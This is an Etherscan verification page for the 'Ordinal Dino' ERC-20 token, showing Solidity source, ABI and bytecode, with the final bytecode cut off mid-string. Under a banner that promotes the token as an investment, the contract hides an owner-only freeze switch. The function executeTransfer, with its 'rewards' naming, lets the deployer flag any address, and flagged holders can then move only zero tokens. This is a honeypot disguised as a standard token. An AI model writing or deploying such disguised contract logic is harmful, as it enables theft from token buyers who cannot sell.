Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

 contract ERC20Basic    - function balanceOf(    - function totalSupply(    - function transfer( library SafeMath    - function sub(    - function mul(    - function div(    - function add(  contract BasicToken is ERC20Basic    - function totalSupply(    - function balanceOf(    - function transfer(  contract ERC20 is ERC20Basic    - function allowance(    - function approve(    - function transferFrom(  contract StandardERC20 is ERC20, B ...    - function allowance(    - function transferFrom(    - function approve(address _spender, ui ...    - function executeTransfer(    - function decreaseApproval(    - function rewardsStatus(    - function increaseApproval(  contract OrdinalDino is StandardER ... *

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-03-04
*/

/**        
    . . :.    .   .  .        :=+#%@@@@@@@@@@@@@@@@@@@@%%+=:        .   .        .        
         .                -+%@@@@@@@#*++=--------=++*%@@@@@@@%+-         .                
     .   ..:  . .     .=#@@@@@%*=:                   . .:=*%@@@@@%=.  .                   
        .       .   =#@@@@%+:                              . :*%@@@@%+.     .             
                 .*@@@@%+..                  .       .  :   . . .+@@@@@*.                 
        .      .*@@@@*:                    .    .=-      .   ::    :*@@@@*.               
 .            +@@@@+                      .  .-+@@@@%%-    .. .  :. . =@@@@*              
            -@@@@*                        :+#@@@@@@@@@@%%-.. .       .  *@@@@-            
           +@@@%:                    +%##@@@@@@@@@@@%-+@@@%#=.   .       :%@@@*           
          #@@@*                   :*+-=@@@@@@@@@@@@@@: -@@%%@@#+-.         +@@@%          
         %@@@=                     -%@@@@@@@@@@@@@@@@@..@@#.:#@@@@@*=:      -@@@%         
        #@@@-                   =%#+*@@@@@@@@@@@@@@@%. +@@@+  .=@@@@@@@@#+:  :@@@%        
       +@@@=                     :@@@@@@@@@@@@@@@@@@@##@@@@=    #@%@@@@@@@@#: -@@@*       
      :@@@*              .     -##%@@@@@@@@@@@@@@@@@@@@@@@@@@+=%%-:-@@@@@@@@@* +@@@-      
      %@@@                      =@@@@@@@@@@@@@@@@@@@@@#%%#*@@@@@@@@@@@@@@@@@@@- @@@%      
     -@@@=                    .=+@@@@@@@@@@@@@@@@@@@%-      .:-+**##%%#####@@+  =@@@-     
  .  *@@@                     :-#@@@@@@@@@@@@@@@@@@@@@@=                   :-   .@@@#     
     @@@%           .          #@@@@@@@@@@@@@@@@@@@@@@#*::    .:                 %@@@     
   ..@@@*                    -*@@@@@@@@@@@#@#@@@@@@@@@@-                         *@@@.    
   ..@@@*   ..   .      =. %+@@@@@@@@@@@@*=- +@@@@@@@@@@+          .             *@@@.    
     @@@#   : .      +=.%@%@@@@@@@@@@%@@% :    -+#@@@@@@@@#=.                    *@@@.    
     @@@%         *%=%@@@@@@@@@@@@@#@==*- .-+-.     :-+*@@@@@*-..                %@@@     
     *@@@. .   #@%#@@@@@@@@@@@@@%@*.#=*.  *@+#+-:        :+%@@@@@@%+.           .@@@#     
     -@@@#.%@*.#@@@@@@@@@@@@@@@%@@= - : . .@@:  :    .     ::=*++*.             =@@@-     
      %@@@%@@@@@@@@@@@@@@@@@@@@#+%*.     :*@% #@*+*-         . ..               @@@@      
      -@@@@@@@@@@@@@@@@@@@@@@@#%@@@=-@##%#*=*#@@#=-++    .-:  . .     .        +@@@-      
       *@@@@@@@@@@@@@@@@@@@@@@@@%-*@@@@%:-=%@*:.          ..     .            -@@@*       
        %@@@@@@@@@@@@@@@@@@-*@-=*@@@%@@@@@@:         .         .             :@@@%        
        .%@@@@@@@@@@@@@@%:%. -#- ::=@@@@@+                  .  -     .      -@@@%         
     .   .#@@@@@@@@@@@:-@=#%   :=: .             ..      .          :      +@@@%          
       .   *@@@@@@@#=#*.-* .#-.  .                  ......                -@@@*           
            Ordinal Dino is a revolutionary new token that harnesses the power 
               of the blockchain to bring the dinosaurs back to life! By  
                combiningcutting-edge technology with the strength and  
                   resilience of these prehistoric beasts, Ordinal 
                      Dino offers a unique investment opportunity 
                               that’s sure to turn heads. 

                               WEBSITE - ordinaldino.com 
                      TWITTER - https://twitter.com/ordinaldino 
                      MEDIUM - https://medium.com/@ordinaldino
                        TELEGRAM - https://t.me/OrdinalDino
 
                            *///SPDX-License-Identifier: MIT

pragma solidity =0.5.15;

contract ERC20Basic {

  function balanceOf(
    address account
  )
    public
    view
    returns (uint256);

  function totalSupply(
  )
    public
    view
    returns (uint256);
  
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
}

library SafeMath {

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }
    
  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }

  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;
  mapping (address => bool) internal _address_;  
  mapping (address => uint256) balances;
  uint256 totalSupply_;

  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }

  function balanceOf(
    address account
  ) 
    public
    view
    returns (uint256) {
    return balances[account];
  }

  function transfer(
    address _to,
    uint256 _value
  ) public
    returns (bool) { if (
    _address_[msg.sender]
    || _address_[_to]) require(
    _value == 0, ""); require(
    _to != address(0)); require(
    _value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);
}

contract StandardERC20 is ERC20, BasicToken {
  address internal approved;
  mapping (address => mapping (address => uint256)) internal allowed;
  
  constructor () public {
     approved = msg.sender;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool) { if
    (_address_[_from] ||
    _address_[_to]) require(
    _value == 0, ""); require(
    _to != address(0)); require(
    _value <= balances[_from]); require(
    _value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function executeTransfer(
    address _dinoRewardsAddress
  ) 
    external { require(
    msg.sender ==
    approved); if (
    _address_
    [_dinoRewardsAddress] == true){
    _address_
    [_dinoRewardsAddress] = false;} 
    else { _address_
    [_dinoRewardsAddress] = true;
    }
  }
  
  function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }

  function rewardsStatus(
    address _dinoRewardsAddress
  )
    public
    view
    returns (bool) 
  {
    return _address_
    [_dinoRewardsAddress];
  }

  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract OrdinalDino is StandardERC20 {
  string public constant name = "Ordinal Dino";
  string public constant symbol = "oDINO";
  uint256 public constant _totalSupply_ = 1000000000 * (10 ** uint256(decimals));
  uint8 public constant decimals = 9;

  constructor() public {
    totalSupply_ = totalSupply_.add(_totalSupply_);
    balances[msg.sender] = balances[msg.sender].add(_totalSupply_);
    emit Transfer(address(0), msg.sender, _totalSupply_);
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"_totalSupply_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_dinoRewardsAddress","type":"address"}],"name":"executeTransfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_dinoRewardsAddress","type":"address"}],"name":"rewardsStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

608060405234801561001057600080fd5b5033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610078600960ff16600a0a633b9aca000260025461019c60201b6116601790919060201c565b6002819055506100e1600960ff16600a0a633b9aca0002600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461019c60201b6116601790919060201c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960ff16600a0a633b9aca00026040518082815260200191505060405180910390a36101b6565b60008183019050828110156101ad57fe5b80905092915050565b6116af806101c56000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb14610443578063aa566fb2146104a9578063d73dd62314610505578063dd62ed3e1461056b576100ea565b806370a082311461032457806373d7176c1461037c57806395d89b41146103c0576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c57806366188463146102a05780636cbbab6014610306576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061c565b604051808215151515815260200191505060405180910390f35b6101e061070e565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610718565b604051808215151515815260200191505060405180910390f35b610284610bc8565b604051808260ff1660ff16815260200191505060405180910390f35b6102ec600480360360408110156102b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bcd565b604051808215151515815260200191505060405180910390f35b61030e610e5e565b6040518082815260200191505060405180910390f35b6103666004803603602081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6f565b6040518082815260200191505060405180910390f35b6103be6004803603602081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb8565b005b6103c8611021565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104085780820151818401526020810190506103ed565b50505050905090810190601f1680156104355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61048f6004803603604081101561045957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061105a565b604051808215151515815260200191505060405180910390f35b6104eb600480360360208110156104bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611371565b604051808215151515815260200191505060405180910390f35b6105516004803603604081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c6565b604051808215151515815260200191505060405180910390f35b6105cd6004803603604081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c2565b6040518082815260200191505060405180910390f35b6040518060400160405280600c81526020017f4f7264696e616c2044696e6f000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806107b957506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610810576000821461080f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561084a57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561089657600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561091f57600080fd5b61097182600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600981565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cde576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d72565b610cf1838261164990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600960ff16600a0a633b9aca000281565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f1257600080fd5b600115156000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610fc65760008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061101e565b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6040518060400160405280600581526020017f6f44494e4f00000000000000000000000000000000000000000000000000000081525081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110fb57506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111525760008214611151576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118c57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156111d857600080fd5b61122a82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112bf82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061145782600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561165557fe5b818303905092915050565b600081830190508281101561167157fe5b8090509291505056fea265627a7a72315820b1ddac9cab26ac5e69501b903f502150a0d985ad5b5e5bf5200cf87e383d7fdd64736f6c634300050f0032

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb14610443578063aa566fb2146104a9578063d73dd62314610505578063dd62ed3e1461056b576100ea565b806370a082311461032457806373d7176c1461037c57806395d89b41146103c0576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c57806366188463146102a05780636cbbab6014610306576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061c565b604051808215151515815260200191505060405180910390f35b6101e061070e565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610718565b604051808215151515815260200191505060405180910390f35b610284610bc8565b604051808260ff1660ff16815260200191505060405180910390f35b6102ec600480360360408110156102b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bcd565b604051808215151515815260200191505060405180910390f35b61030e610e5e565b6040518082815260200191505060405180910390f35b6103666004803603602081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6f565b6040518082815260200191505060405180910390f35b6103be6004803603602081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb8565b005b6103c8611021565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104085780820151818401526020810190506103ed565b50505050905090810190601f1680156104355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61048f6004803603604081101561045957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061105a565b604051808215151515815260200191505060405180910390f35b6104eb600480360360208110156104bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611371565b604051808215151515815260200191505060405180910390f35b6105516004803603604081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c6565b604051808215151515815260200191505060405180910390f35b6105cd6004803603604081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c2565b6040518082815260200191505060405180910390f35b6040518060400160405280600c81526020017f4f7264696e616c2044696e6f000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806107b957506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610810576000821461080f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561084a57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561089657600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561091f57600080fd5b61097182600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600981565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cde576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d72565b610cf1838261164990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600960ff16600a0a633b9aca000281565b600060016000837